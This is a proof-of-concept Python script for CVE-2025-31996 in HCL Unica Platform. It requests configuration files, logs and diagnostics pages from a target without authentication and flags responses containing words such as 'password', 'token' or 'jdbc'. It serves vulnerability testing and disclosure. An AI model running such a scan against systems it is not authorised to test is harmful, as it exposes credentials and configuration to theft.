CVE-2025-31996 HCL Unica Platform未授权文件访问漏洞

# CVE-2025-31996 - HCL Unica Platform Unprotected Files PoC # Vulnerability: Improper Access Controls leading to Information Disclosure # CVSS: 5.3 (MEDIUM) - AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-unica-platform.com" # Common unprotected file paths in HCL Unica Platform SENSITIVE_PATHS = [ "/<platform_path>/logs/system.log", "/<platform_path>/conf/platform.properties", "/<platform_path>/WEB-INF/web.xml", "/<platform_path>/unica/WEB-INF/classes/config.properties", "/<platform_path>/status", "/<platform_path>/diagnostics/systemInfo.jsp", "/<platform_path>/health", ] def check_unprotected_files(base_url): """Check for unprotected sensitive files on HCL Unica Platform""" print(f"[*] Target: {base_url}") print(f"[*] Testing for CVE-2025-31996 - Unprotected Files\n") for path in SENSITIVE_PATHS: url = base_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Size: {len(response.content)} bytes") # Check for sensitive content patterns content_lower = response.text.lower() sensitive_patterns = ['password', 'secret', 'key', 'token', 'credential', 'database', 'jdbc'] for pattern in sensitive_patterns: if pattern in content_lower: print(f" [!] Contains sensitive keyword: {pattern}") break elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {url} (Status: {response.status_code})") else: print(f"[?] Unexpected: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[ERROR] {url}: {str(e)}") if __name__ == "__main__": check_unprotected_files(TARGET_URL)